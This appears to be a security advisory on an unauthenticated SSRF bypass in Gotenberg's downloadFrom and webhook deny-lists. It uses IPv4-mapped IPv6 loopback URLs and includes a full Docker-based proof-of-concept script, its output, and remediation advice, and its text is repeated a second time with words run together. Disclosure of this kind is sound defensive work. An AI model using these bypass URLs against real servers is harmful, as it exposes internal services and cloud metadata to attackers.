Summary
The default deny-lists used by Gotenberg's downloadFrom feature and webhook feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as http://[::ffff:127.0.0.1]:... and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.
Details
The issue originates from the shipped default deny-list regexes and the way those regexes are applied:
pkg/modules/api/api.go:198-200 defines the default api-download-from-deny-list.
pkg/modules/webhook/webhook.go:41-43 defines the default webhook-deny-list.
pkg/gotenberg/filter.go:20-69 evaluates those patterns with regexp2 using case-sensitive matching.
The attacker-controlled URL then reaches outbound request sinks:
pkg/modules/api/context.go:208-282
- Reads attacker-supplied
downloadFrom.
- Calls
gotenberg.FilterDeadline(...).
- Issues an outbound GET with
retryablehttp.NewRequest(...) and client.Do(...).
pkg/modules/webhook/middleware.go:99-217
- Reads
Gotenberg-Webhook-Url and Gotenberg-Webhook-Events-Url.
- Calls
gotenberg.FilterDeadline(...).
- Constructs a
client for outbound delivery.
pkg/modules/webhook/client.go:39-152
- Sends the success or error webhook request.
pkg/modules/webhook/client.go:155-216
- Sends the webhook event request.
Why the bypass works:
- The default deny-list only blocks lowercase
http:// and https:// prefixes.
- The filtering logic performs case-sensitive regex matching on the raw user input.
- Go's HTTP stack accepts multiple textual representations of loopback/private addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like
http://[::ffff:127.0.0.1]:18081/....
- As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback/private destination by the outbound client.
Confirmed bypass used during verification:
http://[::ffff:127.0.0.1]:18081/page_1.pdf
http://[::ffff:127.0.0.1]:18082/upload
http://[::ffff:127.0.0.1]:18082/events
This is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate downloadFrom and webhook URL filtering paths.
PoC
One-command verification
From the repository root:
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg'
./tmp/poc/verify_ssrf_poc.sh
What the script does:
- Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof.
- Starts Gotenberg on
127.0.0.1:3000.
- Starts an internal-only helper listener inside the same container network namespace.
- Verifies
downloadFrom SSRF by forcing Gotenberg to fetch a PDF from http://[::ffff:127.0.0.1]:18081/page_1.pdf.
- Verifies
webhook SSRF by forcing Gotenberg to POST to http://[::ffff:127.0.0.1]:18082/upload and http://[::ffff:127.0.0.1]:18082/events.
- Writes evidence artifacts to disk.
Expected success output:
[4/6] Verifying downloadFrom SSRF bypass with http://[::ffff:127.0.0.1]:18081/page_1.pdf
PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata
[5/6] Verifying webhook SSRF bypass with http://[::ffff:127.0.0.1]:18082/upload
PASS webhook: Gotenberg POSTed to an internal-only loopback listener
Evidence files created by the script:
/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json
/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log
Manual evidence commands
The following commands were run after the verifier completed successfully:
jq '.' '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json'
cat '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log'
Observed output:
{
"page_1.pdf": {
"CreateDate": "2025:02:17 14:46:38+00:00",
"FileType": "PDF",
"FileTypeExtension": "pdf",
"Linearized": "No",
"MIMEType": "application/pdf",
"ModifyDate": "2025:02:17 14:46:38+00:00",
"PDFVersion": 1.7,
"PageCount": 1,
"Producer": "PDFTron built-in office converter, V11.2.0-d27340a176\n",
"SourceFile": "/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf"
}
}
POST /upload len=4363 content-type=application/pdf
POST /events len=126 content-type=application/json
PoC Video:
https://github.com/user-attachments/assets/a70a4e09-e9a7-4df8-a9a5-77b09fbd59f3
Interpretation:
- The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL.
- The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list.
verify_ssrf_poc.sh
#!/usr/bin/env bash
set -euo pipefail
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
IMAGE="${IMAGE:-gotenberg-local-ssrf-poc:minimal}"
DOCKERFILE="${DOCKERFILE:-$ROOT/tmp/poc/Dockerfile.minimal}"
GOTENBERG_NAME="${GOTENBERG_NAME:-gotenberg-ssrf-poc}"
HELPER_NAME="${HELPER_NAME:-gotenberg-ssrf-helper}"
PORT="${PORT:-3000}"
ARTIFACT_DIR="${ARTIFACT_DIR:-$ROOT/tmp/poc/artifacts}"
TEST_PDF="$ROOT/test/integration/testdata/page_1.pdf"
DOWNLOAD_JSON="$ARTIFACT_DIR/downloadfrom-metadata.json"
WEBHOOK_LOG="$ARTIFACT_DIR/webhook.log"
HELPER_SCRIPT="$ARTIFACT_DIR/internal_helper.py"
DOWNLOAD_BYPASS_URL="http://[::ffff:127.0.0.1]:18081/page_1.pdf"
WEBHOOK_UPLOAD_BYPASS_URL="http://[::ffff:127.0.0.1]:18082/upload"
WEBHOOK_EVENTS_BYPASS_URL="http://[::ffff:127.0.0.1]:18082/events"
PDF_ENGINE_FLAGS=(
"--pdfengines-merge-engines=qpdf"
"--pdfengines-split-engines=qpdf"
"--pdfengines-flatten-engines=qpdf"
"--pdfengines-convert-engines=qpdf"
"--pdfengines-read-metadata-engines=exiftool"
"--pdfengines-write-metadata-engines=exiftool"
"--pdfengines-encrypt-engines=qpdf"
"--pdfengines-embed-engines=qpdf"
"--pdfengines-read-bookmarks-engines=qpdf"
"--pdfengines-write-bookmarks-engines=qpdf"
"--pdfengines-watermark-engines=qpdf"
"--pdfengines-stamp-engines=qpdf"
"--pdfengines-rotate-engines=qpdf"
)
red() { printf '\033[31m%s\033[0m\n' "$*"; }
green() { printf '\033[32m%s\033[0m\n' "$*"; }
blue() { printf '\033[34m%s\033[0m\n' "$*"; }
cleanup() {
docker rm -f "$HELPER_NAME" >/dev/null 2>&1 || true
docker rm -f "$GOTENBERG_NAME" >/dev/null 2>&1 || true
}
fail() {
red "$1"
printf '\n--- gotenberg logs ---\n'
docker logs "$GOTENBERG_NAME" 2>/dev/null || true
printf '\n--- helper logs ---\n'
docker logs "$HELPER_NAME" 2>/dev/null || true
exit 1
}
trap cleanup EXIT
mkdir -p "$ARTIFACT_DIR"
: > "$WEBHOOK_LOG"
if [[ ! -f "$TEST_PDF" ]]; then
red "Missing test PDF: $TEST_PDF"
exit 1
fi
if [[ ! -f "$DOCKERFILE" ]]; then
red "Missing Dockerfile: $DOCKERFILE"
exit 1
fi
if ! docker image inspect "$IMAGE" >/dev/null 2>&1; then
blue "[1/6] Building slim verification image: $IMAGE"
docker build -q -t "$IMAGE" -f "$DOCKERFILE" "$ROOT" >/dev/null
else
blue "[1/6] Reusing existing image: $IMAGE"
fi
blue "[2/6] Starting minimal Gotenberg on http://127.0.0.1:$PORT"
cleanup
docker run -d --rm \
--name "$GOTENBERG_NAME" \
-p "$PORT:3000" \
"$IMAGE" \
--webhook-enable-sync-mode=true \
"${PDF_ENGINE_FLAGS[@]}" >/dev/null
for _ in $(seq 1 45); do
if curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
break
fi
sleep 1
done
if ! curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
fail "Gotenberg did not become healthy"
fi
cat > "$HELPER_SCRIPT" <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from threading import Event, Thread
PDF_PATH = Path("/srv/page_1.pdf")
LOG_PATH = Path("/work/webhook.log")
PDF_BYTES = PDF_PATH.read_bytes()
class DownloadHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/pdf")
self.send_header("Content-Disposition", 'attachment; filename="page_1.pdf"')
self.send_header("Content-Length", str(len(PDF_BYTES)))
self.end_headers()
self.wfile.write(PDF_BYTES)
def log_message(self, fmt, *args):
return
class WebhookHandler(BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get("Content-Length", "0"))
body = self.rfile.read(length)
with LOG_PATH.open("a", encoding="utf-8") as f:
f.write(
f"{self.command} {self.path} len={len(body)} "
f"content-type={self.headers.get('Content-Type', '')}\n"
)
self.send_response(200)
self.end_headers()
do_PATCH = do_POST
do_PUT = do_POST
def log_message(self, fmt, *args):
return
def serve(addr, handler):
HTTPServer(addr, handler).serve_forever()
Thread(target=serve, args=(("127.0.0.1", 18081), DownloadHandler), daemon=True).start()
Thread(target=serve, args=(("127.0.0.1", 18082), WebhookHandler), daemon=True).start()
print("internal helper ready", flush=True)
Event().wait()
PY
blue "[3/6] Starting internal-only helper inside the same network namespace"
docker run -d --rm \
--name "$HELPER_NAME" \
--network "container:$GOTENBERG_NAME" \
-v "$TEST_PDF:/srv/page_1.pdf:ro" \
-v "$ARTIFACT_DIR:/work" \
-v "$HELPER_SCRIPT:/app/internal_helper.py:ro" \
python:3.11-alpine \
python /app/internal_helper.py >/dev/null
for _ in $(seq 1 20); do
if docker logs "$HELPER_NAME" 2>&1 | grep -q "internal helper ready"; then
break
fi
sleep 1
done
if ! docker logs "$HELPER_NAME" 2>&1 | grep -q "internal helper ready"; then
fail "Internal helper did not start"
fi
blue "[4/6] Verifying downloadFrom SSRF bypass with $DOWNLOAD_BYPASS_URL"
download_status="$(
curl -sS \
-o "$DOWNLOAD_JSON" \
-w '%{http_code}' \
-X POST "http://127.0.0.1:$PORT/forms/pdfengines/metadata/read" \
-F "downloadFrom=[{\"url\":\"$DOWNLOAD_BYPASS_URL\"}]"
)"
if [[ "$download_status" != "200" ]]; then
cat "$DOWNLOAD_JSON" 2>/dev/null || true
fail "downloadFrom verification failed with HTTP $download_status"
fi
if ! jq -e 'has("page_1.pdf")' "$DOWNLOAD_JSON" >/dev/null 2>&1; then
cat "$DOWNLOAD_JSON" || true
fail "downloadFrom verification failed: expected metadata for page_1.pdf"
fi
green "PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata"
blue "[5/6] Verifying webhook SSRF bypass with $WEBHOOK_UPLOAD_BYPASS_URL"
webhook_status="$(
curl -sS \
-o /dev/null \
-w '%{http_code}' \
-X POST "http://127.0.0.1:$PORT/forms/pdfengines/flatten" \
-H "Gotenberg-Webhook-Url: $WEBHOOK_UPLOAD_BYPASS_URL" \
-H "Gotenberg-Webhook-Events-Url: $WEBHOOK_EVENTS_BYPASS_URL" \
-F "files=@$TEST_PDF"
)"
if [[ "$webhook_status" != "204" ]]; then
fail "webhook verification failed with HTTP $webhook_status"
fi
if ! grep -q '^POST /upload ' "$WEBHOOK_LOG"; then
cat "$WEBHOOK_LOG" || true
fail "webhook verification failed: /upload was not hit"
fi
if ! grep -q '^POST /events ' "$WEBHOOK_LOG"; then
cat "$WEBHOOK_LOG" || true
fail "webhook verification failed: /events was not hit"
fi
green "PASS webhook: Gotenberg POSTed to an internal-only loopback listener"
blue "[6/6] Evidence files"
printf 'downloadFrom metadata: %s\n' "$DOWNLOAD_JSON"
printf 'webhook log: %s\n' "$WEBHOOK_LOG"
printf '\n--- downloadFrom metadata excerpt ---\n'
jq '{filename_present: has("page_1.pdf"), sample_keys: (."page_1.pdf" | keys[0:6])}' "$DOWNLOAD_JSON"
printf '\n--- webhook log ---\n'
cat "$WEBHOOK_LOG"
printf '\n'
green "Verification complete"
printf 'Tip: the first run may take time because it builds and pulls images. For a 10-15 second video, run this script once to warm the cache, then record the second run.\n'
Impact
This is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private/internal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.
Affected users are operators who rely on the default downloadFrom and webhook deny-lists for SSRF protection. In practice, an attacker can:
- Read content from internal HTTP endpoints through
downloadFrom.
- Trigger state-changing POST/PATCH/PUT requests through the
webhook feature.
- Reach services bound only to localhost from the perspective of the Gotenberg host or container.
Remediation
-
Normalize and structurally validate URLs before any allow-list or deny-list decision.
Parse with net/url, lowercase the scheme/host where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation.
-
Replace regex-only private-address filtering with resolved IP validation.
Resolve the hostname, evaluate every resolved IP with net/netip, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private/loopback targets. Re-validate after redirects as well.
-
Reconsider the security default for outbound URL features.
Either disable downloadFrom and webhook by default, or ship a strict default policy that only allows http/https plus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently to downloadFrom, webhook, error URLs, and event URLs.
References
Summary
The default deny-lists used by Gotenberg's
downloadFromfeature andwebhookfeature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such ashttp://[::ffff:127.0.0.1]:...and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.Details
The issue originates from the shipped default deny-list regexes and the way those regexes are applied:
pkg/modules/api/api.go:198-200defines the defaultapi-download-from-deny-list.pkg/modules/webhook/webhook.go:41-43defines the defaultwebhook-deny-list.pkg/gotenberg/filter.go:20-69evaluates those patterns withregexp2using case-sensitive matching.The attacker-controlled URL then reaches outbound request sinks:
pkg/modules/api/context.go:208-282downloadFrom.gotenberg.FilterDeadline(...).retryablehttp.NewRequest(...)andclient.Do(...).pkg/modules/webhook/middleware.go:99-217Gotenberg-Webhook-UrlandGotenberg-Webhook-Events-Url.gotenberg.FilterDeadline(...).clientfor outbound delivery.pkg/modules/webhook/client.go:39-152pkg/modules/webhook/client.go:155-216Why the bypass works:
http://andhttps://prefixes.http://[::ffff:127.0.0.1]:18081/....Confirmed bypass used during verification:
http://[::ffff:127.0.0.1]:18081/page_1.pdfhttp://[::ffff:127.0.0.1]:18082/uploadhttp://[::ffff:127.0.0.1]:18082/eventsThis is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate
downloadFromandwebhookURL filtering paths.PoC
One-command verification
From the repository root:
What the script does:
127.0.0.1:3000.downloadFromSSRF by forcing Gotenberg to fetch a PDF fromhttp://[::ffff:127.0.0.1]:18081/page_1.pdf.webhookSSRF by forcing Gotenberg to POST tohttp://[::ffff:127.0.0.1]:18082/uploadandhttp://[::ffff:127.0.0.1]:18082/events.Expected success output:
Evidence files created by the script:
/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.logManual evidence commands
The following commands were run after the verifier completed successfully:
Observed output:
{ "page_1.pdf": { "CreateDate": "2025:02:17 14:46:38+00:00", "FileType": "PDF", "FileTypeExtension": "pdf", "Linearized": "No", "MIMEType": "application/pdf", "ModifyDate": "2025:02:17 14:46:38+00:00", "PDFVersion": 1.7, "PageCount": 1, "Producer": "PDFTron built-in office converter, V11.2.0-d27340a176\n", "SourceFile": "/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf" } }PoC Video:
https://github.com/user-attachments/assets/a70a4e09-e9a7-4df8-a9a5-77b09fbd59f3
Interpretation:
verify_ssrf_poc.shImpact
This is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private/internal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.
Affected users are operators who rely on the default
downloadFromandwebhookdeny-lists for SSRF protection. In practice, an attacker can:downloadFrom.webhookfeature.Remediation
Normalize and structurally validate URLs before any allow-list or deny-list decision.
Parse with
net/url, lowercase the scheme/host where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation.Replace regex-only private-address filtering with resolved IP validation.
Resolve the hostname, evaluate every resolved IP with
net/netip, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private/loopback targets. Re-validate after redirects as well.Reconsider the security default for outbound URL features.
Either disable
downloadFromandwebhookby default, or ship a strict default policy that only allowshttp/httpsplus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently todownloadFrom,webhook, error URLs, and event URLs.References